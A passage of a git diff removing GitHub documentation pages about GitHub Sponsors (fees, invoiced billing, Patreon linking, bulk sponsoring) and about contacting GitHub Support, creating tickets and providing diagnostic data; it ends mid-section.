-1. Under your organization name, click **{% octicon "heart" aria-hidden="true" %} Sponsoring**. - -## Sponsorship fees - -{% data reusables.sponsors.no-fees %} - -For more information on fees and billing, see [AUTOTITLE](/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors). - -## Tax information - -As a sponsor, you acknowledge that we may disclose to the owner of each account you sponsor the following limited information about your sponsorship payments to the account, since the inception of the Sponsors Program: - -* Transaction date -* Amount paid -* The country, state, and province from where payment was made -* Whether payment was made by a business or individual - -This information is necessary to enable payment and reporting of any taxes arising from such sponsorship payments. - -{% data reusables.sponsors.sponsorships-not-tax-deductible %} diff --git a/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md b/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md deleted file mode 100644 index 5bd96432bea3..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Attributing sponsorships to your organization -intro: You can attribute the sponsorships paid by one of your organizations to another organization. -redirect_from: - - /github/supporting-the-open-source-community-with-github-sponsors/attributing-sponsorships-to-your-organization -versions: - fpt: '*' - ghec: '*' -permissions: People who are organization owners of both organizations can attribute one organization's sponsorships to another organization. -type: how_to -topics: - - Open Source - - Organizations - - Sponsors profile -shortTitle: Attribute sponsorships ---- - -1. Navigate to the organization whose sponsorships you want to attribute to another organization. -{% data reusables.organizations.navigate-to-sponsoring %} -1. In the sidebar, click **{% octicon "gear" aria-hidden="true" %} Settings**. - - ![Screenshot of the sponsorship overview page for @octo-org. A sidebar tab, labeled "Settings," is outlined in dark orange.](/assets/images/help/sponsors/sponsoring-settings-tab.png) - -1. In the "Link sponsorships to another account" section, select the dropdown menu, then click the organization you want your organization's sponsorships to be attributed to. -1. Click **Link account**. diff --git a/content/sponsors/sponsoring-open-source-contributors/index.md b/content/sponsors/sponsoring-open-source-contributors/index.md deleted file mode 100644 index 11d6a8b2e208..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Sponsoring open source contributors -intro: 'You can sponsor contributors, receive updates on developers and organizations you sponsor, and display a sponsor badge throughout {% data variables.product.github %}.' -redirect_from: - - /articles/sponsoring-open-source-developers - - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-developers - - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors -versions: - fpt: '*' - ghec: '*' -children: - - /about-sponsorships-fees-and-taxes - - /sponsoring-an-open-source-contributor-through-github - - /sponsoring-an-open-source-contributor-through-patreon - - /managing-your-sponsorship - - /attributing-sponsorships-to-your-organization - - /paying-for-github-sponsors-by-invoice - - /unlinking-your-patreon-account-from-github -shortTitle: Sponsor contributors ---- diff --git a/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md b/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md deleted file mode 100644 index a08a6e30c2e1..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Managing your sponsorship -intro: You can manage who can see your sponsorship and whether you receive email updates from the sponsored account. -redirect_from: - - /articles/managing-your-sponsorship - - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Contacting sponsors - - Privacy - - Open Source ---- - -## Managing the privacy setting for your sponsorship - -{% data reusables.sponsors.navigate-to-sponsored-account %} -{% data reusables.sponsors.sponsorship-dashboard %} -{% data reusables.sponsors.manage-sponsorship %} -{% data reusables.sponsors.who-can-see-your-sponsorship %} -{% data reusables.sponsors.update-sponsorship %} - -## Managing email updates for your sponsorship - -You can choose whether an account you sponsor can send you email updates about their work. The sponsored account will not have access to your email address. - -{% data reusables.sponsors.manage-updates-for-orgs %} - -{% data reusables.sponsors.navigate-to-sponsored-account %} -{% data reusables.sponsors.sponsorship-dashboard %} -{% data reusables.sponsors.manage-sponsorship %} -{% data reusables.sponsors.choose-updates %} -{% data reusables.sponsors.update-sponsorship %} - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship) -* [AUTOTITLE](/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship) diff --git a/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md b/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md deleted file mode 100644 index 4c4ec8b1802b..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Paying for GitHub Sponsors by invoice -shortTitle: Paying by invoice -intro: 'Organizations can set up invoicing to sponsor accounts.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Sponsors - - Open Source -redirect_from: - - /sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice ---- - -## About paying for {% data variables.product.prodname_sponsors %} by invoice - -Organizations can use an invoice method to participate in the {% data variables.product.prodname_sponsors %} program. - -When an organization pays by invoice, they will not be charged the 3% credit card processing fee that applies to sponsorships from organization accounts. The 3% {% data variables.product.company_short %} service processing fee still applies to invoiced billing. For more information about sponsorship fees, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor#sponsorship-fees). - -Organizations paying by invoice are invoiced separately for their {% data variables.product.prodname_sponsors %} payments and their other payments to {% data variables.product.company_short %}. Organizations can be invoiced for sponsorships and pay via credit card for other payments to {% data variables.product.company_short %}. - -When setting up a sponsorship, organizations paying by invoice have the option to pay at the start of the next billing cycle. This means they won't have to pay the prorated amount when setting up the sponsorship, and will be charged the full amount on the next billing date. - -### Requirements - -* The organization needs to sign the sponsorship agreement which is a 3 year commitment. The {% data variables.product.company_short %} Invoiced Sponsor Agreement is separate from other services. -* The organization needs a minimum spend of 5,000 US dollars (USD) per year on sponsoring. -* The organization needs to pay the invoice within 30 days. - -Once the organization reaches the yearly minimum spend, they can opt out of being invoiced for the rest of the year. - -## Switching to paying by invoice - -If your organization currently pays for {% data variables.product.prodname_sponsors %} by credit card, you can switch to paying by invoice. Switching to paying by invoice will not affect the billing schedule for other {% data variables.product.company_short %} products like {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %}. - -> [!NOTE] -> Changing your payment method to invoiced billing will cancel your current sponsorships and your current sponsored projects will receive a cancellation email. You will need to set up your sponsorships again after switching to paying by invoice. You can view your recently canceled sponsorships in your past sponsorships list. Additionally, {% data variables.product.github %} will email you a list of your active sponsorships prior to switching to invoiced billing. You can re-sponsor projects by importing that list into the bulk sponsorship tool. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor#sponsoring-accounts-in-bulk). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Scroll to the "{% data variables.product.prodname_sponsors %}" section and click **Switch to invoiced billing**. -1. Compare credit card and invoice billing on the next page. To proceed with changing to invoiced billing, click **Switch to invoiced billing**. -1. Fill out the form and click **Submit**. - -When the process is complete, all organization owners will receive an email with a link to create an invoice. - -## Creating a new invoice - -To add money to your balance, you need to create an invoice. You can then use your balance to pay for sponsorships. The minimum amount for an invoice is $5,000 USD. A 3% {% data variables.product.company_short %} service processing fee is subtracted from the invoice amount. - -1. Navigate to the organization you want to create an invoice for. -{% data reusables.organizations.navigate-to-sponsoring %} -1. In the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Invoices**. -1. To create a new invoice, click **Create an invoice**. - - ![Screenshot of the "Invoices" page for {% data variables.product.prodname_sponsors %}. A button, labeled "Create an invoice," is outlined in dark orange.](/assets/images/help/sponsors/sponsors-create-an-invoice.png) - -1. Enter the amount you want to add to your balance. The PO number is optional. -1. Click **Create invoice**. - -Click on the invoice amount to view and pay the invoice. The invoice will also be sent to the billing email address for your organization. - -## Paying for {% data variables.product.prodname_sponsors %} by invoice - -Once you have paid the invoice, you can use your balance to sponsor accounts. The process for sponsoring accounts is the same as for organizations paying by credit card. The only difference is that you will see "Invoice balance" listed as the payment method. For more information, see [AUTOTITLE](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor). - -## Viewing your {% data variables.product.company_short %} Invoiced Sponsor Agreement - -You can view your {% data variables.product.company_short %} Invoiced Sponsor Agreement and the expiration date at any time. The {% data variables.product.company_short %} Invoiced Sponsor Agreement lasts for 3 years before it needs to be renewed. - -1. Navigate to the organization. -{% data reusables.organizations.navigate-to-sponsoring %} -1. In the sidebar, click **{% octicon "graph" aria-hidden="true" %} Insights**. -1. Under your balance, click **{% data variables.product.company_short %} Invoiced Sponsor Agreement** to view the agreement. - -## Understanding your {% data variables.product.prodname_sponsors %} invoice - -Payments to {% data variables.product.prodname_sponsors %} are invoiced through Stripe. Organizations will receive an invoice by email from Stripe, Inc. This invoice is separate from the one you receive for {% data variables.product.github %} services, and may have a different payment date. diff --git a/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github.md b/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github.md deleted file mode 100644 index aa4b194da310..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-github.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Sponsoring an open source contributor through GitHub -intro: 'You can make payments through {% data variables.product.prodname_dotcom %} to a developer or organization who designs, creates, or maintains open source projects you depend on.' -redirect_from: - - /articles/sponsoring-a-developer - - /articles/sponsoring-an-open-source-contributor - - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-a-developer - - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-an-open-source-contributor - - /sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor -versions: - fpt: '*' - ghec: '*' -permissions: '{% data reusables.sponsors.sponsorship-permissions %}' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Sponsor through {% data variables.product.prodname_dotcom %} ---- - -## About sponsorships with payments through {% data variables.product.prodname_dotcom %} - -{% data reusables.sponsors.sponsorship-details %} - -## Sponsoring an account - -Before you can sponsor an account, you must have a verified email address. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/verifying-your-email-address). - -{% data reusables.sponsors.navigate-to-maintainer-profile %} -{% data reusables.sponsors.navigate-to-sponsorship-dashboard %} -{% data reusables.sponsors.sponsor-as-org %} -{% data reusables.sponsors.select-a-tier %} -{% data reusables.sponsors.pay-prorated-amount %} -1. To choose a sponsorship frequency, to the right of "One-time" or "Monthly," click **Choose**. -{% data reusables.sponsors.select-sponsorship-billing %} -{% data reusables.sponsors.setting-an-end-date %} -{% data reusables.sponsors.who-can-see-your-sponsorship %} -{% data reusables.sponsors.choose-updates %} - - > [!NOTE] - > {% data reusables.sponsors.org-email-updates %} - -{% data reusables.sponsors.sponsor-as-business %} -{% data reusables.sponsors.sponsor-account %} - -## Sponsoring accounts in bulk - -1. Go to [https://github.com/sponsors/explore](https://github.com/sponsors/explore). -1. Optionally, if you are a member of an organization, to see the maintainers of your organization's dependencies, select your organization from the "Explore as" section of the upper-left sidebar. - - If you are a member of multiple organizations, to see all of your organizations, click **See more** {% octicon "triangle-down" aria-label="The downwards-facing triangle icon" %}. -1. Optionally, to download a CSV file of developers who maintain your account's or organization's dependencies, click **results as CSV**. - - ![Screenshot of the "Explore {% data variables.product.prodname_sponsors %}" page. A link with the text "results as CSV" is outlined in dark orange.](/assets/images/help/sponsors/download-dependencies-csv.png) - - To sponsor these maintainers using the downloaded file, in the corresponding cells of the "Sponsorship amount in USD" column, input sponsorship amounts in US dollars for each maintainer you want to sponsor. - -1. On {% data variables.product.prodname_dotcom %}, in the "Bulk Sponsor" box above the list of developers who maintain your dependencies, click **Get started**. Organizations can also access the "Bulk Sponsor" functionality from the sponsors dashboard. -1. Optionally, to change which account or organization you are sponsoring as, select the **Sponsor as USERNAME** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click the desired account or organization from the options that appear. - - ![Screenshot of the first bulk sponsorship screen. A collapsed dropdown menu, labeled "octocat", is highlighted in dark orange.](/assets/images/help/sponsors/bulk-sponsors-sponsor-as-dropdown.png) -1. To upload the CSV file of accounts you would like to sponsor, in the "Import a CSV" section, click **Choose your file**, then navigate to the CSV file you would like to upload. Select the CSV file, then click **Open**. - - Alternatively, drag and drop your CSV file into the "Import a CSV" box. - - You can sponsor in bulk with any of the following files: - * The previously mentioned CSV file of developers who maintain your account's or organization's dependencies. - * {% data variables.product.prodname_dotcom %}'s template CSV file for bulk sponsorships edited to contain your desired sponsorships. To download the example CSV file, in the "Import a CSV" box, click **Download example CSV**. - * A CSV file of your own creation containing your desired sponsorships. For {% data variables.product.prodname_dotcom %} to parse your CSV file correctly, the file must contain columns labeled "Maintainer username" and "Sponsorship amount in USD." - - > [!NOTE] - > Any errors in your file are reported at the top of the review page with instructions to resolve them. - -1. Optionally, to resolve any errors or make any changes to your sponsorship selections, click **Choose file**, then navigate to the new or updated CSV file you would like to upload. Select the CSV file, then click **Open**. -1. To confirm your sponsorship elections, click **Continue to checkout**. - -{% data reusables.sponsors.select-sponsorship-billing %} - -1. In the "Who can see your sponsorships?" section, choose a visibility option. -1. Decide whether you want to receive email updates from the sponsored accounts, then select or deselect **Receive email updates from the maintainers you're sponsoring**. - - > [!NOTE] - > {% data reusables.sponsors.org-email-updates %} - -{% data reusables.sponsors.sponsor-as-business %} - -1. Review the information about the charge and your billing date, then click **Sponsor NUMBER maintainers**. diff --git a/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-patreon.md b/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-patreon.md deleted file mode 100644 index 7a891162b406..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor-through-patreon.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Sponsoring an open source contributor through Patreon -intro: 'You can make payments through Patreon on {% data variables.product.prodname_dotcom %} to a developer or organization who designs, creates, or maintains open source projects you depend on.' -versions: - fpt: '*' - ghec: '*' -permissions: '{% data reusables.sponsors.sponsorship-permissions %}' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Sponsor through Patreon ---- - -## About sponsoring through Patreon - -Rather than paying through {% data variables.product.prodname_dotcom %}, you can choose to sponsor eligible maintainers through Patreon on {% data variables.product.prodname_dotcom %}. - -To sponsor through Patreon on {% data variables.product.prodname_dotcom %}, both you and the selected maintainer must link your Patreon accounts to your {% data variables.product.prodname_dotcom %} accounts. You can then choose to sponsor maintainers through Patreon on {% data variables.product.prodname_dotcom %}, or you can sponsor the maintainer directly through the Patreon website while receiving recognition on {% data variables.product.prodname_dotcom %}. For more information on sponsoring through the Patreon website, see [Become a patron of a creator](https://support.patreon.com/hc/en-us/articles/203913709-Become-a-patron-of-a-creator) in the Patreon documentation. - -{% data variables.product.prodname_dotcom %} displays all published Patreon sponsorship tiers. Only Patreon sponsorships that respect the maintainer's minimum amount on {% data variables.product.company_short %} will be recognized. If you sponsor a maintainer both on {% data variables.product.company_short %} and Patreon, the higher value sponsorship will be prioritized when describing the relationship between a sponsor and a maintainer. - -## Linking your Patreon account to your {% data variables.product.prodname_dotcom %} account - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -{% data reusables.sponsors.accept-payments-through-patreon %} - -## Linking your Patreon account to your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.sponsors.accept-payments-through-patreon %} - -## Sponsoring through Patreon - -{% data reusables.sponsors.navigate-to-maintainer-profile %} -{% data reusables.sponsors.navigate-to-sponsorship-dashboard %} -{% data reusables.sponsors.sponsor-as-org %} -1. Under the "Sponsor as" section, click **Patreon**, then click **Become a patron** next to the desired sponsorship tier. -1. On Patreon, select your payment method and fill out your payment information if necessary. -1. To finalize your sponsorship, click **Subscribe now.** diff --git a/content/sponsors/sponsoring-open-source-contributors/unlinking-your-patreon-account-from-github.md b/content/sponsors/sponsoring-open-source-contributors/unlinking-your-patreon-account-from-github.md deleted file mode 100644 index 4ba9c661b286..000000000000 --- a/content/sponsors/sponsoring-open-source-contributors/unlinking-your-patreon-account-from-github.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Unlinking your Patreon account from GitHub -intro: 'You can disconnect your Patreon account from {% data variables.product.prodname_dotcom %} to stop receiving recognition for Patreon sponsorships on {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Open Source - - Sponsors payments -shortTitle: Unlink Patreon -redirect_from: - - /sponsors/sponsoring-open-source-contributors/unlinking-your-patreon-account-from-your-github-account ---- - -> [!NOTE] -> Unlinking your Patreon account from {% data variables.product.company_short %} will not cancel any existing sponsorships you have created through Patreon. They will only appear as cancelled on {% data variables.product.prodname_dotcom %}. To stop sponsoring maintainers through Patreon, see [How do I cancel?](https://support.patreon.com/hc/en-us/articles/360005502572-How-do-I-cancel-) in the Patreon documentation. - -## Unlinking your Patreon account from your {% data variables.product.company_short %} account - -{% data reusables.sponsors.unlink-patreon-account %} - -## Unlinking your Patreon account from your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Unlink Patreon account" section, click **Unlink Patreon account**. diff --git a/content/support/contacting-github-support/creating-a-support-ticket.md b/content/support/contacting-github-support/creating-a-support-ticket.md deleted file mode 100644 index d11db7d427cc..000000000000 --- a/content/support/contacting-github-support/creating-a-support-ticket.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Creating a support ticket -intro: 'You can use the {% data variables.contact.landing_page_portal %} to create a support ticket and speak to {% data variables.contact.github_support %}.' -shortTitle: Creating a ticket -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /enterprise/admin/enterprise-support/preparing-to-submit-a-ticket - - /admin/enterprise-support/preparing-to-submit-a-ticket - - /admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket - - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support - - /enterprise/admin/enterprise-support/reaching-github-support - - /admin/enterprise-support/reaching-github-support - - /admin/enterprise-support/receiving-help-from-github-support/reaching-github-support - - /enterprise/admin/enterprise-support/submitting-a-ticket - - /admin/enterprise-support/submitting-a-ticket - - /admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket - - /articles/submitting-a-ticket - - /github/working-with-github-support/submitting-a-ticket -topics: - - Support ---- - -## About support tickets - -{% ifversion fpt %} -{% data reusables.support.free-and-paid-support %} - -To share feedback with {% data variables.product.company_short %}, you can use the {% data variables.contact.community_feedback_discussions %}. For more information, see [AUTOTITLE](/support/sharing-feedback-with-github). -{% endif %} - -{% ifversion ghes or ghec %} -{% data reusables.enterprise-accounts.support-entitlements %} -{% endif %} - -{% ifversion ghes %} -You can create your ticket using the {% data variables.contact.landing_page_portal %} or, if you would like to include diagnostics with your support ticket, you can use the GitHub Enterprise Server Management Console. -{% endif %} - -{% data reusables.support.zendesk-old-tickets %} - -After you create your ticket, you can view your ticket and the responses from {% data variables.contact.github_support %} on the {% data variables.contact.contact_landing_page_portal %}. For more information, see [AUTOTITLE](/support/contacting-github-support/viewing-and-updating-support-tickets). - -{% ifversion ghec or ghes %} - -## Prerequisites - -{% ifversion ghec %}If you use an enterprise account, there{% else %}There{% endif %} are some steps you should follow before you start using the {% data variables.contact.enterprise_portal %}. For more information, see [Getting started with the {% data variables.contact.enterprise_portal %}](/support/contacting-github-support/getting-started-with-the-github-support-portal). -{% endif %} - -## What to include in your support ticket - -{% data variables.contact.github_support %} does not have access to any private or internal {% data variables.product.company_short %} resources. Providing {% data variables.contact.github_support %} with everything they need to understand, locate, and reproduce an issue will allow for a faster resolution and less back-and-forth between yourself and the support team. To ensure {% data variables.contact.github_support %} can assist you, consider the following points when you write your ticket: - -* Obtain information that can help {% data variables.contact.github_support %} track, prioritize, reproduce, or investigate the issue. -* Include full URLs, repository names, and usernames wherever possible. -* Reproduce the issue if applicable and be prepared to share the steps. -* Be prepared to provide a full description of the issue and expected results. -* Copy exact wording of all error messages related to your issue. -* Determine if there is an existing ticket number in any ongoing communications with {% data variables.contact.github_support %}. -* Include relevant logs and attach any screenshots that demonstrate the issue. - -{% ifversion ghes %} - -## Choosing a contact person - -Especially for tickets with {% data variables.product.support_ticket_priority_urgent %} priority, the person contacting {% data variables.contact.github_support %} should: - -* Be knowledgeable in your internal systems, tools, policies, and practices. -* Be a proficient user of {% data variables.product.prodname_ghe_server %}. -* Have full access and permissions to any services that are required to troubleshoot the issue. -* Be authorized to make the recommended changes to your network and any applicable products. - -{% endif %} - -## Creating a support ticket{% ifversion ghes %} using the {% data variables.contact.enterprise_portal %}{% endif %} - -> [!NOTE] -> Before you submit a ticket, you have the option of using {% data variables.product.prodname_copilot_in_support %} to receive an immediate response to your question. If {% data variables.product.prodname_copilot_in_support %} is unable to resolve your issue, you can continue submitting your ticket. For more information, see [AUTOTITLE](/support/learning-about-github-support/about-copilot-in-github-support). - -1. Navigate to the {% data variables.contact.contact_landing_page_portal %} and choose one of the following options: - - * To sign in with your {% data variables.product.github %} account, click **Sign in with {% data variables.product.github %}**. - * To sign up for {% data variables.product.github %}, click **Sign up for {% data variables.product.github %}**. - * If you can't sign in or sign up, click **Can't sign in?** and fill out the form. You will be guided through an email verification process.{% ifversion ghec or ghes %} You will need to upload your {% data variables.product.prodname_enterprise %} license. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise).{% endif %} - -{% data reusables.support.submit-a-ticket %} - -{% ifversion ghes %} - -## Creating a ticket using the {% data variables.enterprise.management_console %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.support-link %} - -1. Choose one of the following options: - - * To sign in with your {% data variables.product.github %} account, click **Sign in with {% data variables.product.github %}**. - * To sign up for {% data variables.product.github %}, click **Sign up for {% data variables.product.github %}**. - * If you can't sign in or sign up, click **Can't sign in?** and fill out the form. You will be guided through an email verification process. You will need to upload your {% data variables.product.prodname_enterprise %} license. For more information, see [AUTOTITLE](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise). - -1. If you'd like to include diagnostics with your support ticket, Under "Diagnostics", click **Download diagnostic info** and save the file locally. You'll attach this file to your support ticket later. -1. To complete your ticket and display the {% data variables.contact.enterprise_portal %}, under "Open Support Request", click **New support request**. -{% data reusables.support.submit-a-ticket %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/support/learning-about-github-support/about-github-support) diff --git a/content/support/contacting-github-support/getting-your-enterprise-started-with-the-github-support-portal.md b/content/support/contacting-github-support/getting-your-enterprise-started-with-the-github-support-portal.md deleted file mode 100644 index 071fd97664c7..000000000000 --- a/content/support/contacting-github-support/getting-your-enterprise-started-with-the-github-support-portal.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Getting your enterprise started with the GitHub Support portal -intro: 'Learn how to start using the {% data variables.contact.enterprise_portal %} for issues related to your enterprise.' -shortTitle: Get started for enterprises -versions: - ghec: '*' - ghes: '*' -topics: - - Enterprise - - Support -redirect_from: - - /support/contacting-github-support/getting-started-with-the-github-support-portal ---- - -## About the {% data variables.contact.enterprise_portal %} for enterprises - -{% ifversion ghec %} - -Anyone can use the {% data variables.contact.contact_landing_page_portal %} to view and manage support tickets about {% data variables.product.prodname_dotcom %}, but there are special steps to follow before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about an enterprise account. - -The {% data variables.contact.enterprise_portal %} offers single sign-on (SSO) connected to your {% data variables.product.prodname_dotcom %} account. - -{% else %} - -You can use the {% data variables.contact.contact_landing_page_portal %} to create and manage support tickets about {% data variables.location.product_location %}. - -To benefit from Premium Support SLAs and ticket collaboration features, you must associate your ticket with {% data variables.location.product_location %} in one of two ways. - -1. If your institution has an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you have a user account on {% data variables.product.prodname_dotcom_the_website %}, and that user account has been granted support entitlements for the enterprise account, you can select the enterprise account when creating a ticket. For more information about enterprise accounts, see [About enterprise accounts](/admin/overview/about-enterprise-accounts). - - * The majority of {% data variables.product.prodname_ghe_server %} customers already have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}. If you're not sure whether you do, first check with your team. - * If your team confirms that you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you can [submit a request](https://support.github.com/contact?comments=%3E+Please+provide+the+following+information+and+someone+will+be+in+touch+to+help+you+setup+your+enterprise+account.%0A%0A%23%23%23%23+Company+name+%28required%29%0A%0A%23%23%23%23+Email+address+or+GitHub+login+of+the+person+who+should+be+the+initial+owner+of+the+enterprise+account+%28required%29%0A%0A%23%23%23%23+Is+there+anything+else+we+should+know+to+help+us+identify+your+account%3F+%28optional%29%0A%3E+Attaching+a+GitHub+Enterprise+Server+diagnostics+file+here+can+help+us+identify+your+account+by+license+reference+number%0A%0A&subject=Enterprise+Account+Request&tags=new-ea) for a new one. - * Then, for the best experience, follow the steps below before using the {% data variables.contact.contact_landing_page_portal %} to create tickets about the enterprise account. - -1. If you're sure you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, you have not been configured as a support-entitled member by an enterprise owner, or you cannot sign in with to your {% data variables.product.prodname_dotcom_the_website %} account, you can provide a copy of your license key or diagnostics file by using the [Get help with {% data variables.product.prodname_ghe_server %}](https://support.github.com/contact/enterprise-by-license) form. - -{% endif %} - -## Getting started with the {% data variables.contact.enterprise_portal %} - -Before you start creating tickets associated with your enterprise account on {% data variables.product.prodname_dotcom_the_website %}, we recommend completing the following steps. - -1. Identify the user on {% data variables.product.prodname_dotcom_the_website %} who is an owner of your enterprise account. -1. Configure a verified domain. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). -1. Add owners, billing managers, or support-entitled members to your enterprise account. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) and [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise). diff --git a/content/support/contacting-github-support/index.md b/content/support/contacting-github-support/index.md deleted file mode 100644 index e727c2ee8e98..000000000000 --- a/content/support/contacting-github-support/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Contacting GitHub Support -shortTitle: Contacting support -intro: 'You can use the {% data variables.contact.landing_page_portal %} to contact GitHub Support for help troubleshooting issues you encounter while using GitHub.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -redirect_from: - - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support - - /enterprise/admin/enterprise-support/receiving-help-from-github-support - - /admin/enterprise-support/receiving-help-from-github-support -children: - - getting-your-enterprise-started-with-the-github-support-portal - - creating-a-support-ticket - - using-copilot-in-github-support - - viewing-and-updating-support-tickets - - providing-data-to-github-support ---- diff --git a/content/support/contacting-github-support/providing-data-to-github-support.md b/content/support/contacting-github-support/providing-data-to-github-support.md deleted file mode 100644 index bd09ec943c8f..000000000000 --- a/content/support/contacting-github-support/providing-data-to-github-support.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Providing data to GitHub Support -intro: 'Since {% data variables.contact.github_support %} doesn''t have access to your environment, we sometimes require some additional information from you.' -shortTitle: Providing data -versions: - ghes: '*' -permissions: 'Site administrators and enterprise owners can provide data to {% data variables.contact.github_support %}.' -redirect_from: - - /enterprise/admin/guides/installation/troubleshooting - - /enterprise/admin/articles/support-bundles - - /enterprise/admin/guides/enterprise-support/providing-data-to-github-enterprise-support - - /enterprise/admin/enterprise-support/providing-data-to-github-support - - /admin/enterprise-support/providing-data-to-github-support - - /admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support -topics: - - Support ---- - -## About diagnostic files and support bundles - -To help you troubleshoot issues with a {% data variables.product.prodname_ghe_server %} instance in your environment, {% data variables.contact.github_support %} may request one or more types of data. - -| Data | File format | Description | -| :- | :- | :- | -| Diagnostic file | Plaintext | Contains information about the instance's settings and environment. | -| Support bundle | Archive | Contains a diagnostics file and sanitized log files from the past two days by default. | -| Extended support bundle | Archive | Contains a diagnostics file and sanitized log files from the past eight days. | - -## About log file sanitization - -Authentication tokens, keys, and secrets are removed from log files in the following log directories contained within a support bundle or diagnostics file: - -* `alambic-logs` -* `babeld-logs` -* `codeload-logs` -* `enterprise-manage-logs` -* `github-logs` -* `hookshot-logs` -* `lfs-server-logs` -* `semiotic-logs` -* `task-dispatcher-logs` -* `pages-logs` -* `registry-logs` -* `render-logs` -* `svn-bridge-logs` - -## Creating and sharing diagnostic files - -Diagnostic files are an overview of a {% data variables.product.prodname_ghe_server %} instance's settings and environment that contain: - -* Client license information, including company name, expiration date, and number of user licenses -* Version numbers and SHAs -* VM architecture -* Host name, private mode, SSL settings -* Load and process listings -* Network settings -* Authentication method and details -* Number of repositories, users, and other installation data - -You can download the diagnostics for your instance from the {% data variables.enterprise.management_console %} or by running the `ghe-diagnostics` command-line utility. - -### Creating a diagnostic file from the {% data variables.enterprise.management_console %} - -You can create a diagnostic file from the {% data variables.enterprise.management_console %} if you don't currently have SSH access. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.type-management-console-password %} -{% data reusables.enterprise_management_console.support-link %} -1. Click **Download diagnostics info**. - -### Creating 